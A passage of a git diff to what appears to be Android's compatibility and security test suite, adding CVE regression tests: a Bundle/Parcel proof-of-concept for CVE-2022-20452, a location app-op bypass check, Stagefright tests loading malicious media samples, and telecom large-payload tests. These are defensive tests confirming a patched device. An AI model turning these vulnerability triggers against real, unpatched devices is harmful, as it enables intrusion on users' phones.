+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC has been written taking reference from:
+// File: frameworks/base/core/tests/coretests/src/android/os/BundleTest.java
+// Function: readFromParcelWithRwHelper_whenThrowingAndDefusing_returnsNull()
+
+package android.security.cts.CVE_2022_20452;
+
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20452 extends StsExtraBusinessLogicTestCase {
+
+    @AsbSecurityTest(cveBugId = 240138318)
+    @Test
+    public void testPocCVE_2022_20452() {
+        try {
+            // Create a bundle with some parcelable object and a random string
+            Bundle bundle = new Bundle();
+            Parcelable parcelable = new CustomParcelable();
+            bundle.putParcelable("keyParcelable", parcelable);
+            bundle.putString("keyStr", "valStr");
+
+            // Read bundle contents into a parcel and also set read write helper for the parcel
+            Parcel parcelledBundle = Parcel.obtain();
+            bundle.writeToParcel(parcelledBundle, 0);
+            parcelledBundle.setDataPosition(0);
+            parcelledBundle.setReadWriteHelper(new Parcel.ReadWriteHelper());
+
+            // First set 'shouldDefuse' to true, then read contents of parcel into a bundle.
+            // In presence of fix, this will cause a ClassNotFoundException because bundle will not
+            // be able to find the class for 'CustomParcelable' as the class loader is not set, so
+            // Parcel will not be read properly and the code will return without reading the string.
+            Bundle.setShouldDefuse(true);
+            Bundle testBundle = new Bundle();
+            testBundle.readFromParcel(parcelledBundle);
+
+            // If the vulnerability is active, we will be able to read string from bundle.
+            assertNull("Vulnerable to b/240138318 !!", testBundle.getString("keyStr"));
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java
new file mode 100644
index 0000000..f076eee
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20452;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+public class CustomParcelable implements Parcelable {
+    private boolean mDummyValue = true;
+
+    CustomParcelable() {
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @Override
+    public void writeToParcel(Parcel out, int flags) {
+        out.writeBoolean(mDummyValue);
+    }
+
+    public static final Creator<CustomParcelable> CREATOR =
+            new Creator<CustomParcelable>() {
+                @Override
+                public CustomParcelable createFromParcel(Parcel in) {
+                    return new CustomParcelable();
+                }
+
+                @Override
+                public CustomParcelable[] newArray(int size) {
+                    return new CustomParcelable[size];
+                }
+            };
+}
diff --git a/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java b/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java
new file mode 100644
index 0000000..487c3d9
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.app.ActivityManager;
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.location.LocationManager;
+import android.os.PackageTagsList;
+import android.os.Process;
+import android.os.UserHandle;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationDisabledAppOpsTest extends StsExtraBusinessLogicTestCase {
+
+    private final Context mContext = InstrumentationRegistry.getContext();
+    private LocationManager mLm;
+    private AppOpsManager mAom;
+
+    @Before
+    public void setUp() {
+        mLm = mContext.getSystemService(LocationManager.class);
+        mAom = mContext.getSystemService(AppOpsManager.class);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 231496105)
+    public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() {
+        PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist();
+
+        UserHandle[] userArr = {UserHandle.SYSTEM};
+        runWithShellPermissionIdentity(() -> {
+            userArr[0] = UserHandle.of(ActivityManager.getCurrentUser());
+        });
+
+        UserHandle user = userArr[0];
+
+        boolean wasEnabled = mLm.isLocationEnabledForUser(user);
+
+        try {
+            runWithShellPermissionIdentity(() -> {
+                mLm.setLocationEnabledForUser(false, user);
+            });
+            List<PackageInfo> pkgs =
+                    mContext.getPackageManager().getInstalledPackagesAsUser(
+                            0, user.getIdentifier());
+
+            eventually(() -> {
+                List<String> bypassedNoteOps = new ArrayList<>();
+                List<String> bypassedCheckOps = new ArrayList<>();
+                for (PackageInfo pi : pkgs) {
+                    ApplicationInfo ai = pi.applicationInfo;
+                    int appId = UserHandle.getAppId(ai.uid);
+                    if (appId != Process.SYSTEM_UID) {
+                        final int[] mode = {MODE_ALLOWED};
+                        runWithShellPermissionIdentity(() -> {
+                            mode[0] = mAom.noteOpNoThrow(
+                                    OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+                        });
+                        if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
+                            bypassedNoteOps.add(pi.packageName);
+                        }
+
+
+                        mode[0] = MODE_ALLOWED;
+                        runWithShellPermissionIdentity(() -> {
+                            mode[0] = mAom
+                                    .checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+                        });
+                        if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
+                            bypassedCheckOps.add(pi.packageName);
+                        }
+
+                    }
+                }
+
+                String msg = "";
+                if (!bypassedNoteOps.isEmpty()) {
+                    msg += "Apps which still have access from noteOp " + bypassedNoteOps;
+                }
+                if (!bypassedCheckOps.isEmpty()) {
+                    msg += (msg.isEmpty() ? "" : "\n\n")
+                            +  "Apps which still have access from checkOp " + bypassedCheckOps;
+                }
+                if (!msg.isEmpty()) {
+                    Assert.fail(msg);
+                }
+            });
+        } finally {
+            runWithShellPermissionIdentity(() -> {
+                mLm.setLocationEnabledForUser(wasEnabled, user);
+            });
+        }
+    }
+
+}
+
diff --git a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
index 887538b..ddea213 100644
--- a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
@@ -21,23 +21,24 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.cts.install.lib.Install;
 import com.android.cts.install.lib.TestApp;
 import com.android.cts.install.lib.Uninstall;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
 
 import java.util.concurrent.TimeUnit;
 
-@RunWith(JUnit4.class)
+@RunWith(AndroidJUnit4.class)
 @AppModeFull
-public class PackageInstallerTest {
+public class PackageInstallerTest extends StsExtraBusinessLogicTestCase {
 
     private static final String TEST_APP_NAME = "android.security.cts.packageinstallertestapp";
 
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 293200e..a46e142 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -16,17 +16,21 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.app.ActivityManager;
 import android.content.Context;
 import android.platform.test.annotations.AsbSecurityTest;
-import androidx.test.runner.AndroidJUnit4;
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import org.junit.runner.RunWith;
-import org.junit.Test;
 
-import static org.junit.Assert.*;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.List;
+import java.util.stream.Collectors;
 
 @RunWith(AndroidJUnit4.class)
 public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
@@ -40,12 +44,23 @@
     @Test
     public void testRunningAppProcessInfo() {
         ActivityManager amActivityManager =
-                (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
+                (ActivityManager)
+                        getInstrumentation()
+                                .getContext()
+                                .getSystemService(Context.ACTIVITY_SERVICE);
         List<ActivityManager.RunningAppProcessInfo> appList =
                 amActivityManager.getRunningAppProcesses();
+
+        // Assembles app list for logging
+        List<String> processNames =
+                appList.stream()
+                        .map((processInfo) -> processInfo.processName)
+                        .collect(Collectors.toList());
+
         // The test will pass if it is able to get only its process info
-        assertTrue("Device is vulnerable to CVE-2015-3833. For more information, see " +
-                "https://android.googlesource.com/platform/frameworks/base/+" +
-                "/aaa0fee0d7a8da347a0c47cef5249c70efee209e", (appList.size() == 1));
+        assertTrue(
+                "Device is vulnerable to CVE-2015-3833. Running app processes: "
+                        + processNames.toString(),
+                (appList.size() == 1));
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index cdb27a8..307a3e7 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1809,6 +1809,48 @@
      before any existing test methods
      ***********************************************************/
     @Test
+    @AsbSecurityTest(cveBugId = 223209306)
+    public void testStagefright_cve_2022_22085() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_22085);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 223209816)
+    public void testStagefright_cve_2022_22084() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_22084);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 223211218)
+    public void testStagefright_cve_2022_22086() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_22086);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 228101819)
+    public void testStagefright_cve_2022_25659() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_25659);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 223210917)
+    public void testStagefright_cve_2022_22083() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_22083);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 223209610)
+    public void testStagefright_cve_2022_22087() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_22087);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 228101835)
+    public void testStagefright_cve_2022_25657() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_25657);
+    }
+
+    @Test
     @AsbSecurityTest(cveBugId = 231156126)
     public void testStagefright_cve_2022_22059() throws Exception {
          doStagefrightTest(R.raw.cve_2022_22059);
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
index c9b5a3a..73474a1 100644
--- a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -19,9 +19,11 @@
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
 
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
+import android.app.ActivityManager;
 import android.app.WallpaperManager;
 import android.content.Context;
 import android.content.res.AssetManager;
@@ -124,7 +126,8 @@
     @Test
     @AsbSecurityTest(cveBugId = 204087139)
     public void testSetMaliciousStream() {
-        unZipMaliciousImageFile();
+        ActivityManager am = mContext.getSystemService(ActivityManager.class);
+        assumeFalse(am.isLowRamDevice());
         final File testImage = unZipMaliciousImageFile();
         Assert.assertTrue(testImage.exists());
         try (InputStream s = mContext.getContentResolver()
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
index e33d8fc..3a68e4d 100644
--- a/tests/tests/systemui/Android.bp
+++ b/tests/tests/systemui/Android.bp
@@ -39,6 +39,7 @@
         "androidx.test.ext.junit",
         "androidx.test.uiautomator",
         "cts-wm-util",
+        "permission-test-util-lib",
         "ub-uiautomator",
     ],
     srcs: [
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index f55ed3f..d4ba3b3 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -26,6 +26,7 @@
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
     <!-- Required by flickerlib to dump window states -->
     <uses-permission android:name="android.permission.DUMP"/>
+    <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
 
     <application android:requestLegacyExternalStorage="true">
         <activity android:name=".LightBarActivity"
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index ffa58ba..5079217 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,6 +16,9 @@
 
 package android.systemui.cts;
 
+import static android.Manifest.permission.POST_NOTIFICATIONS;
+import static android.Manifest.permission.REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL;
+import static android.Manifest.permission.REVOKE_RUNTIME_PERMISSIONS;
 import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
 import static android.server.wm.BarTestUtils.assumeHasColoredStatusBar;
 import static android.server.wm.BarTestUtils.assumeStatusBarContainsCutout;
@@ -33,7 +36,10 @@
 import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.graphics.Insets;
+import android.os.Process;
 import android.os.SystemClock;
+import android.permission.PermissionManager;
+import android.permission.cts.PermissionUtils;
 import android.platform.test.annotations.AppModeFull;
 import android.view.Gravity;
 import android.view.InputDevice;
@@ -45,6 +51,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
 
 import org.junit.Rule;
@@ -244,22 +251,23 @@
     }
 
     private void runInNotificationSession(ThrowingRunnable task) throws Exception {
+        Context context = getInstrumentation().getContext();
+        String packageName = getInstrumentation().getTargetContext().getPackageName();
         try {
-            mNm = (NotificationManager) getInstrumentation().getContext()
-                    .getSystemService(Context.NOTIFICATION_SERVICE);
+            PermissionUtils.grantPermission(packageName, POST_NOTIFICATIONS);
+            mNm = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
             NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
                     NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
             mNm.createNotificationChannel(channel1);
 
             // post 10 notifications to ensure enough icons in the status bar
             for (int i = 0; i < 10; i++) {
-                Notification.Builder noti1 = new Notification.Builder(
-                        getInstrumentation().getContext(),
-                        NOTIFICATION_CHANNEL_ID)
-                        .setSmallIcon(R.drawable.ic_save)
-                        .setChannelId(NOTIFICATION_CHANNEL_ID)
-                        .setPriority(Notification.PRIORITY_LOW)
-                        .setGroup(NOTIFICATION_GROUP_KEY);
+                Notification.Builder noti1 =
+                        new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+                                .setSmallIcon(R.drawable.ic_save)
+                                .setChannelId(NOTIFICATION_CHANNEL_ID)
+                                .setPriority(Notification.PRIORITY_LOW)
+                                .setGroup(NOTIFICATION_GROUP_KEY);
                 mNm.notify(NOTIFICATION_TAG, i, noti1.build());
             }
 
@@ -267,6 +275,16 @@
         } finally {
             mNm.cancelAll();
             mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+
+            // Use test API to prevent PermissionManager from killing the test process when revoking
+            // permission.
+            SystemUtil.runWithShellPermissionIdentity(
+                    () -> context.getSystemService(PermissionManager.class)
+                            .revokePostNotificationPermissionWithoutKillForTest(
+                                    packageName,
+                                    Process.myUserHandle().getIdentifier()),
+                    REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL,
+                    REVOKE_RUNTIME_PERMISSIONS);
         }
     }
 
diff --git a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java b/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
deleted file mode 100644
index 0905e57..0000000
--- a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.systemui.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.Until;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests related MediaOutputDialog:
- *
- * atest MediaDialogTest
- */
-@RunWith(AndroidJUnit4.class)
-public class MediaOutputDialogTest {
-
-    private static final int TIMEOUT = 5000;
-    private static final String ACTION_LAUNCH_MEDIA_OUTPUT_DIALOG =
-            "com.android.systemui.action.LAUNCH_MEDIA_OUTPUT_DIALOG";
-    private static final String SYSTEMUI_PACKAGE_NAME = "com.android.systemui";
-    public static final String EXTRA_PACKAGE_NAME = "package_name";
-    public static final String TEST_PACKAGE_NAME = "com.android.package.test";
-    private static final BySelector MEDIA_DIALOG_SELECTOR = By.res(SYSTEMUI_PACKAGE_NAME,
-            "media_output_dialog");
-
-    private Context mContext;
-    private UiDevice mDevice;
-    private String mLauncherPackage;
-    private boolean mHasTouchScreen;
-
-    @Before
-    public void setUp() {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        final PackageManager packageManager = mContext.getPackageManager();
-
-        mHasTouchScreen = packageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
-                || packageManager.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
-
-        Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
-        launcherIntent.addCategory(Intent.CATEGORY_HOME);
-        ResolveInfo resolveInfo = packageManager.resolveActivity(launcherIntent,
-                PackageManager.ResolveInfoFlags.of(PackageManager.MATCH_DEFAULT_ONLY));
-        assumeFalse("Skipping test: can't get resolve info", resolveInfo == null);
-        assumeFalse("Skipping test: not supported on automotive yet",
-                packageManager.hasSystemFeature(
-                        PackageManager.FEATURE_AUTOMOTIVE));
-        mLauncherPackage = resolveInfo.activityInfo.packageName;
-    }
-
-    @Test
-    public void mediaOutputDialog_correctDialog() {
-        assumeTrue(mHasTouchScreen);
-        launchMediaOutputDialog();
-
-        assertThat(mDevice.wait(Until.hasObject(MEDIA_DIALOG_SELECTOR), TIMEOUT)).isTrue();
-    }
-
-    private void launchMediaOutputDialog() {
-        mDevice.pressHome();
-        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
-        Intent intent = new Intent();
-        intent.setPackage(SYSTEMUI_PACKAGE_NAME)
-                .setAction(ACTION_LAUNCH_MEDIA_OUTPUT_DIALOG)
-                .putExtra(EXTRA_PACKAGE_NAME, TEST_PACKAGE_NAME);
-
-        mContext.sendBroadcast(intent);
-    }
-
-}
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
index afc00e7..451d4e3 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
@@ -16,13 +16,19 @@
 
 package android.telecom.cts;
 
+import static android.telecom.PhoneAccount.CAPABILITY_CALL_PROVIDER;
+import static android.telecom.PhoneAccount.CAPABILITY_SELF_MANAGED;
+
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
+import android.net.Uri;
 import android.os.IBinder;
+import android.os.RemoteException;
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
 import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl;
 import android.telecom.cts.carmodetestappselfmanaged.CtsCarModeInCallServiceControlSelfManaged;
 import android.util.Log;
@@ -38,10 +44,40 @@
 
     private static final String TAG = "PhoneAccountRegistrarTest";
     private static final long TIMEOUT = 3000L;
+    private static final int LARGE_ACCT_HANDLE_ID_MIN_SIZE = 50000;
+    private static final String RANDOM_CHAR_VALUE = "a";
+    private static final String TEL_PREFIX = "tel:";
+    private static final String TELECOM_CLEANUP_ACCTS_CMD = "telecom cleanup-orphan-phone-accounts";
     public static final long SEED = 52L; // random seed chosen
     public static final int MAX_PHONE_ACCOUNT_REGISTRATIONS = 10; // mirrors constant in...
     // PhoneAccountRegistrar called MAX_PHONE_ACCOUNT_REGISTRATIONS
 
+    // permissions
+    private static final String READ_PHONE_STATE_PERMISSION =
+            "android.permission.READ_PRIVILEGED_PHONE_STATE";
+    private static final String MODIFY_PHONE_STATE_PERMISSION =
+            "android.permission.MODIFY_PHONE_STATE";
+    private static final String REGISTER_SIM_SUBSCRIPTION_PERMISSION =
+            "android.permission.REGISTER_SIM_SUBSCRIPTION";
+
+    // telecom cts test package (default package that registers phoneAccounts)
+    private static final ComponentName TEST_COMPONENT_NAME =
+            new ComponentName(TestUtils.PACKAGE, TestUtils.COMPONENT);
+
+    // secondary test package (extra package that can be set up to register phoneAccounts)
+    private static final String SELF_MANAGED_CAR_PACKAGE =
+            CtsCarModeInCallServiceControlSelfManaged.class.getPackage().getName();
+    private static final ComponentName SELF_MANAGED_CAR_RELATIVE_COMPONENT = ComponentName
+            .createRelative(SELF_MANAGED_CAR_PACKAGE,
+                    CtsCarModeInCallServiceControlSelfManaged.class.getName());
+    private static final ComponentName CAR_COMPONENT = new ComponentName(SELF_MANAGED_CAR_PACKAGE,
+            TestUtils.SELF_MANAGED_COMPONENT);
+    private static final String CAR_MODE_CONTROL =
+            "android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL";
+    // variables to interface with the second test package
+    TestServiceConnection mControl;
+    ICtsCarModeInCallServiceControl mSecondaryTestPackageControl;
+
     @Override
     public void setUp() throws Exception {
         // Sets up this package as default dialer in super.
@@ -204,8 +240,303 @@
         mContext.unbindService(control);
     }
 
+    /**
+     * Test the scenario where {@link android.telecom.TelecomManager
+     * #getCallCapablePhoneAccounts(boolean)} is called with a heavy payload
+     * that could cause a {@link android.os.TransactionTooLargeException}.  Telecom is expected to
+     * handle this by splitting the parcels via {@link android.content.pm.ParceledListSlice}.
+     */
+    public void testGettingLargeCallCapablePhoneAccountHandlePayload() throws Exception {
+        if (!mShouldTestTelecom) return;
+        // ensure the test starts without any phone accounts registered to the test package
+        cleanupPhoneAccounts();
+
+        // generate a large phoneAccountHandle id string to create a large payload
+        String largeAccountHandleId = generateLargeString(
+                LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+        assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+        // create handles for package 1
+        List<PhoneAccount> phoneAccountsForPackage1 =
+                generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+                        numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_CALL_PROVIDER);
+
+        //create handles for package 2
+        List<PhoneAccount> phoneAccountsForPackage2 =
+                generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+                        MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_CALL_PROVIDER);
+        try {
+            // register all accounts for package 1
+            phoneAccountsForPackage1.stream()
+                    .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+            // verify all can be fetched
+            verifyCanFetchCallCapableAccounts();
+            // register all accounts for package 2
+            bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+            // verify all can be fetched
+            verifyCanFetchCallCapableAccounts();
+        } catch (IllegalArgumentException e) {
+            // allow test pass ...
+            Log.i(TAG, "testGettingLargeCallCapablePhoneAccountHandlePayload:"
+                    + " illegal arg exception thrown.");
+        } finally {
+            unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+            cleanupPhoneAccounts();
+        }
+    }
+
+    /**
+     * Test the scenario where {@link android.telecom.TelecomManager#getSelfManagedPhoneAccounts()}
+     * is called with a heavy payload that could cause a {@link
+     * android.os.TransactionTooLargeException}.  Telecom is expected to handle this by splitting
+     * the parcels via {@link android.content.pm.ParceledListSlice}.
+     */
+    public void testGettingLargeSelfManagedPhoneAccountHandlePayload() throws Exception {
+        if (!mShouldTestTelecom) return;
+        // ensure the test starts without any phone accounts registered to the test package
+        cleanupPhoneAccounts();
+
+        // generate a large phoneAccountHandle id string to create a large payload
+        String largeAccountHandleId = generateLargeString(
+                LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+        assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+        // create handles for package 1
+        List<PhoneAccount> phoneAccountsForPackage1 =
+                generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+                        numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_SELF_MANAGED);
+
+        //create handles for package 2
+        List<PhoneAccount> phoneAccountsForPackage2 =
+                generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+                        MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_SELF_MANAGED);
+        try {
+            // register all accounts for package 1
+            phoneAccountsForPackage1.stream()
+                    .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+            // verify all can be fetched
+            verifyCanFetchSelfManagedPhoneAccounts();
+            // register all accounts for package 2
+            bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+            // verify all can be fetched
+            verifyCanFetchSelfManagedPhoneAccounts();
+        } catch (IllegalArgumentException e) {
+            // allow test pass ...
+            Log.i(TAG, "testGettingLargeSelfManagedPhoneAccountHandlePayload:"
+                    + " illegal arg exception thrown.");
+        } finally {
+            unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+            cleanupPhoneAccounts();
+        }
+    }
+
+    /**
+     * Test the scenario where {@link android.telecom.TelecomManager#getAllPhoneAccountHandles()}
+     * is called with a heavy payload that could cause a {@link
+     * android.os.TransactionTooLargeException}.  Telecom is expected to handle this by splitting
+     * the parcels via {@link android.content.pm.ParceledListSlice}.
+     */
+    public void testGettingAllPhoneAccountHandlesWithLargePayload() throws Exception {
+        if (!mShouldTestTelecom) return;
+
+        // ensure the test starts without any phone accounts registered to the test package
+        cleanupPhoneAccounts();
+
+        // generate a large phoneAccountHandle id string to create a large payload
+        String largeAccountHandleId = generateLargeString(
+                LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+        assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
